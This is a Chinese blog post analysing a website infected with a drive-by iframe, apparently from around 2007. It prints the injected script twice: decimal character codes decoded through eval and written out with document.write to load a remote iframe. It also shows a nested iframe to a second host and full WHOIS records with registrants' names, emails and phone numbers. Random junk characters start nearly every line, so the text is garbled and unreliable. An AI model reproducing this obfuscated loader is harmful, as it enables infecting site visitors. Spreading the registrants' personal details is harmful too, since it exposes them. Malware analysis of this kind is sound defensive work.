首发在我的博客里面，
uu/2C \n} Z
?F_({im http://www.areway.cn/?p=175 Q n;,OB k ghTue*A O]oH}#5b 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
N]F}Z#h ku#WQL <script>t=’60,105,102,114,97,109,101,
M5N #xgR 32,115,114,99,61,104,116,116,112,58,47,47,
m@",Zr `f= 102,114,101,101,46,117,45,117,117,117,46,99,
HzsQ`M4cA 110,47,101,114,114,111,114,46,104,116,109,
gIKQip< 32,119,105,100,116,104,61,49,48,48,32,104,
3MDs?qx>s 101,105,103,104,116,61,48,62,60,47,105,102,
HI[Pf%${ 114,97,109,101,62′;
WfYG#!}x t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
N%)q.'M RP k'1nD <script>t=’60,105,102,114,97,109,101,32,115,
B'b OK`p 114,99,61,104,116,116,112,58,47,47,102,114,
'*<I<? z; 101,101,46,117,45,117,117,117,46,99,110,47,
_s}`ohKvD 101,114,114,111,114,46,104,116,109,32,119,
. d?LRf 105,100,116,104,61,49,48,48,32,104,101,105,
O0eM*~zI 103,104,116,61,48,62,60,47,105,102,114,97,
}: !X@C~ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
drbim8 !q~ document.write(t);</script>
e AjsMED /E:BEm! <html xmlns=”
fT
YlI T9 http://www.w3.org/1999/xhtml bas1(/|S “>
vdot . <head>
g |tclBx <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
*n6L3"cO <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
~_ wSB[z <title>首页 - 爱生活家庭网
B#3Q 4c$ HumL( S'm 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
7"OJ,Mx% 转换字符串后的大概内容是（谁点击后果自付）：
xl@~K^c] <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
bL5u;iy) ?. Ip (g 查询玉米u-uuu.cn的详细信息：
%l!- rXp Domain Name: u-uuu.cn
ZVrZkd ` ROID: 20070901s10001s64972306-cn
8d&%H, Domain Status: ok
}hcY5E-n Registrant Organization: 王雷
o4agaA3k Registrant Name: 王雷
$weC '-n@ Administrative Email:
czlovexs@126.com x0lAJaG Sponsoring Registrar: 北京万网志成科技有限公司
pnXwE-c_ Name Server:ns.yovole.com
sD|}? 7 Name Server:ns1.yovole.com
rE0%R+4? Registration Date: 2007-09-01 17:54
5kojh _\ Expiration Date: 2008-09-01 17:54
wVX2.D'n< 最后PING了一下地址 都没有什么….
r; +a%?P AHHV \r 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
'X`W+ =T$ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
,hm &] <script language=”javascript” src=”
as@?
Kv http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script %AmyT >
DVDzYR**4 这个玉米应该有可能是木马作者的：
$)d34 JM foafau.info的详细信息：
Mh {>#Gs Access to INFO WHOIS information is provided to assist persons in
Eqh*"hE7 determining the contents of a domain name registration record in the
T wzpq1 Afilias registry database. The data in this record is provided by
;d
FJqo82 Afilias Limited for informational purposes only, and Afilias does not
%"WhD'*z} guarantee its accuracy. This service is intended only for query-based
\s!x;n w[ access. You agree that you will use this data only for lawful purposes
pF(6M3>IN and that, under no circumstances will you use this data to: (a) allow,
:>F 3es ` enable, or otherwise support the transmission by e-mail, telephone, or
9TwKd0AT$& facsimile of mass unsolicited, commercial advertising or solicitations
I1I -,~hO to entities other than the data recipient’s own existing customers; or
<kWkc|z BY (b) enable high volume, automated, electronic processes that send
"=V!-+*@G@ queries or data to the systems of Registry Operator, a Registrar, or
U2v;GIo$yU Afilias except as reasonably necessary to register domain names or
A2 $05a$% modify existing registrations. All rights reserved. Afilias reserves
<j3|Mh_(I the right to modify these terms at any time. By submitting this query,
eHR]qy 0_X you agree to abide by this policy.
A4rkwM Domain ID:D22418703-LRMS
u'T-}95 V Domain Name:FOAFAU.INFO
Ys|SacWC Created On:20-Nov-2007 16:05:42 UTC
?Cx=!k. Last Updated On:20-Nov-2007 16:05:44 UTC
M+b?qw Expiration Date:20-Nov-2008 16:05:42 UTC
7
D{% Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
B:Awy/XMi Status:CLIENT DELETE PROHIBITED
P'DcNMdw Status:CLIENT RENEW PROHIBITED
:}-? X \|\ Status:CLIENT TRANSFER PROHIBITED
{WQ6=wGpS Status:CLIENT UPDATE PROHIBITED
vKfjP_0$ Status:TRANSFER PROHIBITED
NK'@.= $ Registrant ID:GODA-040110615
S h ?e b Registrant Name:liu hong
qW'L}x Registrant Organization:
J~50#vHY Registrant Street1:beijing
Nr).*]g@~ Registrant Street2:
dGz4`1(> Registrant Street3:
]wi0qc2 { Registrant City:beijing
4Z5;y[k( Registrant State/Province:
~O]{m,)n Registrant Postal Code:100000
c2?VjuB0 Registrant Country:CN
y~su1wUp Registrant Phone:+86.860108888777
G6+6u Wvl Registrant Phone Ext.:
)PW|RW Registrant FAX:
EY:H\4) Registrant FAX Ext.:
p}5413z5Z= Registrant Email:bbbshiji@163.com
SpYmgL?wJ Admin ID:GODA-240110615
FZIC |u z Admin Name:liu hong
i% ,
't Admin Organization:
xLfv:Rp Admin Street1:beijing
K\59vtga Admin Street2:
R1eWPtWs Admin Street3:
z ^s\&gix Admin City:beijing
USS%T<Vk Admin State/Province:
X *:,| Admin Postal Code:100000
E0yx
@Vx Admin Country:CN
[rL 8L6,! Admin Phone:+86.860108888777
D @:'* Z( Admin Phone Ext.:
_pDfP LlY& Admin FAX:
u?H.Z Admin FAX Ext.:
U3` ?Z`i( Admin Email:bbbshiji@163.com
Eggu-i(rD Billing ID:GODA-340110615
Pn6~66a6 Billing Name:liu hong
%(W8W Lz} Billing Organization:
* )Cr1d k Billing Street1:beijing
yqVoedN Billing Street2:
*M_^I )*L Billing Street3:
<q>d@Foi Billing City:beijing
)[|_q, Billing State/Province:
cG%X}ZV5 Billing Postal Code:100000
7upWM~H^ Billing Country:CN
yz5! >|EB Billing Phone:+86.860108888777
: @eHV=|+> Billing Phone Ext.:
) xK W Billing FAX:
5G$ ,2i( Billing FAX Ext.:
Y*\N{6$2 Billing Email:bbbshiji@163.com
f=u +G Tech ID:GODA-140110615
E!BzE_|i Tech Name:liu hong
~(7ct*U~ Tech Organization:
I)s_f5' Tech Street1:beijing
)Y9\>Xj7 Tech Street2:
</1]eDnU Tech Street3:
d> F. C> Tech City:beijing
ST0TWE' Tech State/Province:
@65xn)CD{ Tech Postal Code:100000
sriDta?C z Tech Country:CN
M)nh~gU Tech Phone:+86.860108888777
]!~?j3-k Q Tech Phone Ext.:
Q'JK *.l Tech FAX:
u6Wan*I? Tech FAX Ext.:
Y_EEnx&>i Tech Email:bbbshiji@163.com
DEt! /a{X Name Server:NS27.DOMAINCONTROL.COM
z[my f] @ Name Server:NS28.DOMAINCONTROL.COM
%5DM ew Name Server:
d3S Me Name Server:
.\&k]}0qA? Name Server:
3HW&\:q5'M Name Server:
DHv86TvJt Name Server:
' W>y v Name Server:
<RZqs Name Server:
#f HnM+ Name Server:
+8x_f0 < Name Server:
DvB{N`COd Name Server:
'$EyVu! Name Server:
XgM&0lVT G%AO%II 接着下载每个文件里面的代码：
EWgJ"WTF 一步一步看..
A~lc`m- 
E*wG5] at 
#z<# oC5 
EtaKo}!A} 
ZS;V?]\( 
q-ko)] 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
